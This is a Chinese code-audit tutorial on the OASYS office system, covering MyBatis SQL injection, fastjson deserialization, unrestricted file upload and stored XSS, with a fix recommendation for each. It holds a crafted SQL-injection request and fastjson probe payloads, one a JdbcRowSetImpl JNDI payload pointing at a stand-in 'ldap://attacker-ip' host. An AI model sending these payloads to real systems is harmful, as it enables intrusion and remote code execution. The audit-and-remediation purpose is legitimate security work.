记一次java代码审计(2)
字数 1637 2025-08-06 12:21:02

Java代码审计实战教学:OA系统安全漏洞分析与验证

项目概述

本次审计的目标系统是OASYS,一个OA办公自动化系统,采用以下技术栈:

  • 项目管理:Maven
  • 后端框架:SpringBoot 1.5.6.RELEASE
  • 数据库:MySQL
  • 前端技术:Freemarker模板引擎 + Bootstrap UI框架
  • 集成框架:JPA、Mybatis
  • 其他组件:fastjson 1.2.36、fileupload 1.3.2

环境搭建

  1. 系统要求

    • Windows 10操作系统
    • Java 1.8.0_261
    • MySQL 5.7.26(推荐使用PHPstudy内置版本)
  2. 数据库配置

    • 使用Navicat创建新连接
    • 创建名为"oasys"的数据库
    • 导入提供的oasys.sql文件
  3. 项目启动

    • 使用IDEA打开项目
    • 等待Maven自动加载依赖(可配置加速源)
    • 修改application.properties配置文件:
      # 数据库连接配置
      spring.datasource.url=jdbc:mysql://localhost:3306/oasys?useUnicode=true&characterEncoding=UTF-8
      spring.datasource.username=root
      spring.datasource.password=root
      spring.datasource.driver-class-name=com.mysql.jdbc.Driver
      
      # 其他配置
      server.port=8088
      spring.mvc.static-path-pattern=/static/**
      
    • 启动项目后访问:http://127.0.0.1:8088

代码审计与漏洞分析

1. MyBatis SQL注入漏洞

审计过程

  1. 全局搜索${查找XML文件中的动态SQL拼接
  2. 定位到allDirector方法及其返回类型为Map的实现
  3. 分析outAddress方法中对am.allDirector的调用

漏洞验证
构造以下HTTP请求测试SQL注入:

POST /outaddresspaging HTTP/1.1
Host: localhost:8088
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=55DD494815FDC35487ED3DB2CA209D6D
Content-Length: 45

pageNum=1&baseKey=&outtype=1'&alph=&userId=

漏洞原理

  • 在MyBatis XML映射文件中直接使用${param}进行参数拼接而非预编译的#{param}
  • 攻击者可通过控制outtype参数注入恶意SQL片段

修复建议

  • 将所有${param}替换为#{param}
  • 使用MyBatis的参数绑定机制

2. Fastjson反序列化风险

风险分析

  • 系统使用fastjson 1.2.36版本
  • 该版本存在已知反序列化漏洞(CVE-2017-18349等)

检测方法

  1. JNDI请求延迟检测

    {
      "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
      },
      "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://attacker-ip/test",
        "autoCommit":true
      }
    }
    
  2. 显错判断

    {"@type": "java.lang.AutoCloseable"}
    
  3. DNS请求检测

    {"name":{"@type":"java.net.InetAddress","val":"dnslog.cn"}}
    

修复建议

  • 升级fastjson至最新安全版本(≥1.2.83)
  • 禁用autotype功能:ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

3. 文件上传漏洞

审计过程

  1. 发现使用commons-fileupload组件
  2. 定位到uploadfile方法调用fs.savefile()
  3. 分析发现保存文件时仅做简单拼接,无任何过滤

漏洞验证

  1. 上传包含恶意代码的文件(如Webshell)
  2. 虽然前端无回显,但服务器上已存储恶意文件

修复建议

  • 实施白名单文件扩展名验证
  • 重命名上传文件(避免目录穿越)
  • 设置文件内容类型检查
  • 限制上传目录权限

4. XSS漏洞

审计过程

  1. 分析数据流:TypeSysController.java → 数据库 → typeedit.ftl
  2. 发现未对用户输入进行过滤直接存入数据库
  3. 前端通过EL表达式直接输出未转义内容

漏洞验证
在"类型管理"→"修改"功能中注入XSS payload

修复建议

  • 实施输入过滤和输出编码
  • 使用安全框架如OWASP ESAPI
  • 设置Content Security Policy(CSP)

总结与修复方案

  1. SQL注入

    • 使用预编译语句替换动态SQL拼接
    • 实施最小权限原则
  2. Fastjson

    • 立即升级至安全版本
    • 禁用危险功能
  3. 文件上传

    • 实施严格的文件类型检查
    • 存储上传文件到非web可访问目录
  4. XSS

    • 实施全面的输入验证和输出编码
    • 使用现代前端框架的安全特性
  5. 其他建议

    • 定期进行安全审计
    • 实施WAF作为临时防护措施
    • 建立安全开发生命周期(SDLC)

通过本次审计,我们发现了多个高危漏洞,这些漏洞可能导致系统被完全控制。建议开发团队按照修复建议立即进行修复,并建立长期的安全开发规范。

Java代码审计实战教学:OA系统安全漏洞分析与验证 项目概述 本次审计的目标系统是OASYS,一个OA办公自动化系统,采用以下技术栈: 项目管理:Maven 后端框架:SpringBoot 1.5.6.RELEASE 数据库:MySQL 前端技术:Freemarker模板引擎 + Bootstrap UI框架 集成框架:JPA、Mybatis 其他组件:fastjson 1.2.36、fileupload 1.3.2 环境搭建 系统要求 : Windows 10操作系统 Java 1.8.0_ 261 MySQL 5.7.26(推荐使用PHPstudy内置版本) 数据库配置 : 使用Navicat创建新连接 创建名为"oasys"的数据库 导入提供的oasys.sql文件 项目启动 : 使用IDEA打开项目 等待Maven自动加载依赖(可配置加速源) 修改 application.properties 配置文件: 启动项目后访问:http://127.0.0.1:8088 代码审计与漏洞分析 1. MyBatis SQL注入漏洞 审计过程 : 全局搜索 ${ 查找XML文件中的动态SQL拼接 定位到 allDirector 方法及其返回类型为Map的实现 分析 outAddress 方法中对 am.allDirector 的调用 漏洞验证 : 构造以下HTTP请求测试SQL注入: 漏洞原理 : 在MyBatis XML映射文件中直接使用 ${param} 进行参数拼接而非预编译的 #{param} 攻击者可通过控制 outtype 参数注入恶意SQL片段 修复建议 : 将所有 ${param} 替换为 #{param} 使用MyBatis的参数绑定机制 2. Fastjson反序列化风险 风险分析 : 系统使用fastjson 1.2.36版本 该版本存在已知反序列化漏洞(CVE-2017-18349等) 检测方法 : JNDI请求延迟检测 : 显错判断 : DNS请求检测 : 修复建议 : 升级fastjson至最新安全版本(≥1.2.83) 禁用autotype功能: ParserConfig.getGlobalInstance().setAutoTypeSupport(false); 3. 文件上传漏洞 审计过程 : 发现使用commons-fileupload组件 定位到 uploadfile 方法调用 fs.savefile() 分析发现保存文件时仅做简单拼接,无任何过滤 漏洞验证 : 上传包含恶意代码的文件(如Webshell) 虽然前端无回显,但服务器上已存储恶意文件 修复建议 : 实施白名单文件扩展名验证 重命名上传文件(避免目录穿越) 设置文件内容类型检查 限制上传目录权限 4. XSS漏洞 审计过程 : 分析数据流: TypeSysController.java → 数据库 → typeedit.ftl 发现未对用户输入进行过滤直接存入数据库 前端通过EL表达式直接输出未转义内容 漏洞验证 : 在"类型管理"→"修改"功能中注入XSS payload 修复建议 : 实施输入过滤和输出编码 使用安全框架如OWASP ESAPI 设置Content Security Policy(CSP) 总结与修复方案 SQL注入 : 使用预编译语句替换动态SQL拼接 实施最小权限原则 Fastjson : 立即升级至安全版本 禁用危险功能 文件上传 : 实施严格的文件类型检查 存储上传文件到非web可访问目录 XSS : 实施全面的输入验证和输出编码 使用现代前端框架的安全特性 其他建议 : 定期进行安全审计 实施WAF作为临时防护措施 建立安全开发生命周期(SDLC) 通过本次审计,我们发现了多个高危漏洞,这些漏洞可能导致系统被完全控制。建议开发团队按照修复建议立即进行修复,并建立长期的安全开发规范。